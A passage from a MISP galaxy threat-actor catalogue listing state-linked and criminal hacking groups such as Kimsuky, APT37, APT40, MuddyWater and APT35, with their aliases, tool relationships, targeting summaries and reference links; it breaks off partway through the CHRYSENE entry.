https://www.cfr.org/interactive/cyber-operations/madi
https://www.kaspersky.com/about/press-releases/2012_kaspersky-lab-and-seculert-announce—madi—a-newly-discovered-cyber-espionage-campaign-in-the-middle-east
https://threatpost.com/new-and-improved-madi-spyware-campaign-continues-072512/76849/

https://web.archive.org/web/20120718173322/https://www.symantec.com/connect/blogs/madi-attacks-series-social-engineering-campaigns

ELECTRIC PANDA

The tag is: *misp-galaxy:threat-actor="ELECTRIC PANDA"*

Table 18228. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

APT4

The tag is: *misp-galaxy:threat-actor="APT4"*

APT4 is also known as:

- PLA Navy
- MAVERICK PANDA
- BRONZE EDISON
- SODIUM
- Salmon Typhoon

Table 18229. Table References

Links
https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments
http://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/
https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-sykipot-smartcard-proxy-variant-33919
https://www.cfr.org/interactive/cyber-operations/sykipot
https://www.secureworks.com/research/threat-profiles/bronze-edison
https://www.mandiant.com/resources/insights/apt-groups

Kimsuky

This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Kimsuky"*

Kimsuky is also known as:

- Velvet Chollima
- Black Banshee
- Thallium
- Operation Stolen Pencil
- G0086
- APT43
- Emerald Sleet
- THALLIUM
- Springtail
- Sparkling Pisces

View relationships graph

Kimsuky has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Emerald Sleet" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="xRAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="xrat" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:ransomware="XRat" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="XRat" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="QUASARRAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="Quasar RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="RDP Wrapper" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="TightVNC" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="Chrome Remote Desktop" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="BabyShark" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="BabyShark" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="BabyShark - S0414" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:tool="RevClient" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Kimsuky - G0094" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Kimsuky" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="Kimsuky - APT-C-55" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Opal Sleet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Ruby Sleet" with estimative-language:likelihood-probability="likely"

Table 18230. Table References

Links
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/
https://www.cfr.org/interactive/cyber-operations/kimsuky
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://youtu.be/hAsKp43AZmM?t=1027
https://www.bloomberglaw.com/document/public/subdoc/X67FPNDOUBV9VOPS35A4864BFIU?imagename=1
https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://attack.mitre.org/groups/G0086/
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report
https://asec.ahnlab.com/en/57873/
https://asec.ahnlab.com/en/61082/
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-north-korean-apt-kimsuky-aka-black-banshee-active-iocs-29/
https://www.sentinelone.com/labs/a-glimpse-into-future-scarcruft-campaigns-attackers-gather-strategic-intelligence-and-target-cybersecurity-professionals/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://ctoatncsc.substack.com/p/cto-at-ncsc-summary-week-ending-may-16b

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/springtail-kimsuky-backdoor-espionage
https://unit42.paloaltonetworks.com/kimsuky-new-keylogger-backdoor-variant/

Snake Wine

While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group's backdoors. Cylance tracks this threat group internally as 'Snake Wine'. The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.

The tag is: *misp-galaxy:threat-actor="Snake Wine"*

Table 18231. Table References

Links
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
https://threatvector.cylance.com/en_us/home/the-deception-project-a-new-japanese-centric-threat.html
https://www.jpcert.or.jp/magazine/acreport-ChChes.html

Careto

This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes. The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name "Mask" comes from the Spanish slang word "Careto" ("Ugly Face" or "Mask") which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date.What makes "The Mask" special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).

The tag is: *misp-galaxy:threat-actor="Careto"*

Careto is also known as:

- The Mask
- Mask
- Ugly Face

Table 18232. Table References

Links
https://securelist.com/the-caretomask-apt-frequently-asked-questions/58254/
https://www.cfr.org/interactive/cyber-operations/careto
https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20133638/unveilingthemask_v1.0.pdf

GIBBERISH PANDA

The tag is: *misp-galaxy:threat-actor="GIBBERISH PANDA"*

Table 18233. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

OnionDog

This threat actor targets the South Korean government, transportation, and energy sectors.

The tag is: *misp-galaxy:threat-actor="OnionDog"*

Table 18234. Table References

Links
http://news.softpedia.com/news/korean-energy-and-transportation-targets-attacked-by-oniondog-apt-501534.shtml
https://www.cfr.org/interactive/cyber-operations/onion-dog

Clever Kitten

The tag is: *misp-galaxy:threat-actor="Clever Kitten"*

Clever Kitten is also known as:

- Group 41

View relationships graph

Clever Kitten has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 18235. Table References

Links
http://www.crowdstrike.com/blog/whois-clever-kitten/

ANDROMEDA SPIDER

The tag is: *misp-galaxy:threat-actor="ANDROMEDA SPIDER"*

Table 18236. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Cyber Caliphate Army

The tag is: *misp-galaxy:threat-actor="Cyber Caliphate Army"*

Cyber Caliphate Army is also known as:

- Islamic State Hacking Division
- CCA
- United Cyber Caliphate
- UUC
- CyberCaliphate

Table 18237. Table References

Links

https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division
https://ent.siteintelgroup.com/index.php?option=com_customproperties&view=search&task=tag&bind_to_category=content:37&tagId=697

MAGNETIC SPIDER

The tag is: *misp-galaxy:threat-actor="MAGNETIC SPIDER"*

Table 18238. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

SINGING SPIDER

The tag is: *misp-galaxy:threat-actor="SINGING SPIDER"*

Table 18239. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Cyber fighters of Izz Ad-Din Al Qassam

The tag is: *misp-galaxy:threat-actor="Cyber fighters of Izz Ad-Din Al Qassam"*

Cyber fighters of Izz Ad-Din Al Qassam is also known as:

- Fraternal Jackal

Table 18240. Table References

Links
http://pastebin.com/u/QassamCyberFighters
http://ddanchev.blogspot.com.es/2012/09/dissecting-operation-ababil-osint.html

APT6

The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. “This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were

infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks. “Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,”Deepen said.

The tag is: *misp-galaxy:threat-actor="APT6"*

APT6 is also known as:

- 1.php Group

Table 18241. Table References

Links
https://threatpost.com/fbi-quietly-admits-to-multi-year-apt-attack-sensitive-data-stolen/117267/

AridViper

AridViper is a state-sponsored APT primarily targeting military personnel, journalists, and dissidents in the Middle East, with a focus on Israel and Palestine. The group employs custom-developed mobile malware, including variants like AridSpy, GnatSpy, and Micropsia, often delivered through spear-phishing emails and deceptive applications. Their operations involve sophisticated social engineering tactics, including the use of fake social media profiles and weaponized apps masquerading as legitimate services. AridViper’s activities are characterized by a blend of technical sophistication and psychological manipulation, aiming to exfiltrate sensitive data from compromised systems.

The tag is: *misp-galaxy:threat-actor="AridViper"*

AridViper is also known as:

- Desert Falcon
- Arid Viper
- APT-C-23
- Bearded Barbie
- Two-tailed Scorpion

Table 18242. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-arid-viper.pdf
http://securityaffairs.co/wordpress/33785/cyber-crime/arid-viper-israel-sex-video.html
https://securelist.com/blog/research/68817/the-desert-falcons-targeted-attacks/
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/

https://www.proofpoint.com/us/threat-insight/post/Operation-Arid-Viper-Slithers-Back-Into-View
http://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://www.threatconnect.com/blog/kasperagent-malware-campaign/
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/sexually-explicit-material-used-as-lures-in-cyber-attacks?linkId=12425812
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064309/The-Desert-Falcons-targeted-attacks.pdf
https://www.sentinelone.com/labs/gaza-cybergang-unified-front-targeting-hamas-opposition/

DEXTOROUS SPIDER

The tag is: *misp-galaxy:threat-actor="DEXTOROUS SPIDER"*

Table 18243. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Unit 8200

The tag is: *misp-galaxy:threat-actor="Unit 8200"*

Unit 8200 is also known as:

- Duqu Group

Table 18244. Table References

Links
https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/
https://archive.org/details/Stuxnet
https://www.cfr.org/interactive/cyber-operations/duqu
https://www.cfr.org/interactive/cyber-operations/duqu-20

White Bear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2)

infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

The tag is: *misp-galaxy:threat-actor="White Bear"*

White Bear is also known as:

- Skipper Turla

Table 18245. Table References

Links
https://securelist.com/introducing-whitebear/81638/
https://www.cfr.org/interactive/cyber-operations/whitebear

PALE PANDA

The tag is: *misp-galaxy:threat-actor="PALE PANDA"*

Table 18246. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Mana Team

The tag is: *misp-galaxy:threat-actor="Mana Team"*

Table 18247. Table References

Links

http://webcache.googleusercontent.com/search?q=cache:TWoHHzH9gU0J:en.hackdig.com/02/39538.htm

Sowbug

Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.

The tag is: *misp-galaxy:threat-actor="Sowbug"*

Sowbug is also known as:

- G0054

View relationships graph

Sowbug has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Sowbug - G0054" with estimative-language:likelihood-probability="likely"

Table 18248. Table References

Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments
https://www.cfr.org/interactive/cyber-operations/sowbug
https://attack.mitre.org/groups/G0054/

MuddyWater

The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

The tag is: *misp-galaxy:threat-actor="MuddyWater"*

MuddyWater is also known as:

- TEMP.Zagros
- Static Kitten
- Seedworm
- MERCURY

- COBALT ULSTER
- G0069
- ATK51
- Boggy Serpens
- Mango Sandstorm
- TA450
- Earth Vetala

View relationships graph

MuddyWater has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="MuddyWater - G0069" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Mango Sandstorm" with estimative-language:likelihood-probability="likely"

Table 18249. Table References

Links
https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.cfr.org/interactive/cyber-operations/muddywater
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html
https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/
https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/
https://securelist.com/muddywater/88059/
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/
https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html
https://www.zdnet.com/article/new-leaks-of-iranian-cyber-espionage-operations-hit-telegram-and-the-dark-web/
https://attack.mitre.org/groups/G0069/
http://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://unit42.paloaltonetworks.com/atoms/boggyserpens/

https://www.sentinelone.com/blog/the-new-frontline-of-geopolitics-understanding-the-rise-of-state-sponsored-cyber-attacks/
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html
https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/

MoneyTaker

In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.

The tag is: *misp-galaxy:threat-actor="MoneyTaker"*

Table 18250. Table References

Links
https://www.bleepingcomputer.com/news/security/moneytaker-hacker-group-steals-millions-from-us-and-russian-banks/
https://www.group-ib.com/blog/moneytaker

Dark Caracal

Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.

The tag is: *misp-galaxy:threat-actor="Dark Caracal"*

Dark Caracal is also known as:

- G0070

Table 18251. Table References

Links
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://research.checkpoint.com/2020/bandook-signed-delivered
https://attack.mitre.org/groups/G0070/

Nexus Zeta

Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.

The tag is: *misp-galaxy:threat-actor="Nexus Zeta"*

Table 18252. Table References

Links
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7

APT37

APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities

The tag is: *misp-galaxy:threat-actor="APT37"*

APT37 is also known as:

- APT 37
- Group 123
- Group123
- InkySquid
- Operation Daybreak
- Operation Erebus
- Reaper Group
- Reaper
- Red Eyes
- Ricochet Chollima
- ScarCruft
- Venus 121
- ATK4
- G0067
- Moldy Pisces
- APT-C-28

View relationships graph

APT37 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"
- linked-to: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="ScarCruft - APT-C-28" with estimative-language:likelihood-probability="likely"

Table 18253. Table References

Links
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/
https://www.fireeye.com/blog/threat-research/2018/02/apt37-overlooked-north-korean-actor.html
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://twitter.com/mstoned7/status/966126706107953152
https://www.cfr.org/interactive/cyber-operations/apt-37
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/
https://unit42.paloaltonetworks.com/unit42-freemilk-highly-targeted-spear-phishing-campaign/
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://attack.mitre.org/groups/G0067/
https://securelist.com/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/75082/
https://securelist.com/operation-daybreak/75100/
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://threatpost.com/scarcruft-apt-group-used-latest-flash-zero-day-in-two-dozen-attacks/118642/
https://unit42.paloaltonetworks.com/atoms/moldypisces/

APT40

Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.

The tag is: *misp-galaxy:threat-actor="APT40"*

APT40 is also known as:

- TEMP.Periscope
- TEMP.Jumper
- Leviathan
- BRONZE MOHAWK
- GADOLINIUM
- KRYPTONITE PANDA
- G0065
- ATK29
- TA423
- Red Ladon
- ITG09
- MUDCARP
- ISLANDDREAMS
- Gingham Typhoon

View relationships graph

APT40 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Leviathan - G0065" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="GADOLINIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Gingham Typhoon" with estimative-language:likelihood-probability="likely"

Table 18254. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.cfr.org/interactive/cyber-operations/apt-40
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html
https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/
https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html
https://attack.mitre.org/groups/G0065/

https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://intrusiontruth.wordpress.com/2020/01/09/what-is-the-hainan-xiandun-technology-development-company

https://intrusiontruth.wordpress.com/2020/01/10/who-is-mr-gu

https://intrusiontruth.wordpress.com/2020/01/13/who-else-works-for-this-cover-company-network

https://intrusiontruth.wordpress.com/2020/01/14/who-is-mr-ding

https://intrusiontruth.wordpress.com/2020/01/15/hainan-xiandun-technology-company-is-apt40

https://www.secureworks.com/research/threat-profiles/bronze-mohawk

https://www.mycert.org.my/portal/advisory?id=MA-774.022020

https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign

https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/

https://www.justice.gov/opa/pr/four-chinese-nationals-working-ministry-state-security-charged-global-computer-intrusion

https://www.justice.gov/opa/press-release/file/1412916/download

https://www.justice.gov/opa/press-release/file/1412921/download

https://us-cert.cisa.gov/ncas/alerts/aa21-200a

https://us-cert.cisa.gov/ncas/alerts/aa21-200b

https://www.canada.ca/en/global-affairs/news/2021/07/statement-on-chinas-cyber-campaigns.html

https://www.ncsc.gov.uk/news/uk-allies-hold-chinese-state-responsible-for-pervasive-pattern-of-hacking

https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking

https://www.rnz.co.nz/news/political/447239/government-points-finger-at-china-over-cyber-attacks

https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china

https://www.mofa.go.jp/press/danwa/press6e_000312.html

https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory

https://www.mandiant.com/resources/insights/apt-groups

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi

https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia

https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea

https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf

https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/

APT35

FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.

The tag is: *misp-galaxy:threat-actor="APT35"*

APT35 is also known as:

- Newscaster Team
- Magic Hound
- G0059
- Phosphorus
- Mint Sandstorm
- TunnelVision
- COBALT MIRAGE
- Agent Serpens

View relationships graph

APT35 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Mint Sandstorm" with estimative-language:likelihood-probability="likely"

Table 18255. Table References

Links
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
https://attack.mitre.org/groups/G0059/
https://www.cfr.org/interactive/cyber-operations/magic-hound
https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/
https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html
https://www.cfr.org/cyber-operations/apt-35
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/

https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/
https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/
https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/
https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us
https://unit42.paloaltonetworks.com/iranian-attackers-impersonate-model-agency/
https://www.microsoft.com/en-us/security/blog/2025/05/29/defending-against-evolving-identity-attack-techniques/
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://www.microsoft.com/en-us/security/blog/2023/04/18/nation-state-threat-actor-mint-sandstorm-refines-tradecraft-to-attack-high-value-targets/
https://www.microsoft.com/en-us/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/

Orangeworm

Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.

The tag is: *misp-galaxy:threat-actor="Orangeworm"*

Table 18256. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia
https://attack.mitre.org/groups/G0071/

ALLANITE

Adversaries abusing ICS (based on Dragos Inc adversary list). ALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to

disrupt electric utilities. ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.

The tag is: *misp-galaxy:threat-actor="ALLANITE"*

ALLANITE is also known as:

- Palmetto Fusion
- Allanite

View relationships graph

ALLANITE has relationships with:

- similar: misp-galaxy:mitre-ics-groups="ALLANITE" with estimative-language:likelihood-probability="almost-certain"

Table 18257. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/blog/20180510Allanite.html

CHRYSENE

Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”

The tag is: *misp-galaxy:threat-actor="CHRYSENE"*

CHRYSENE is also known as:

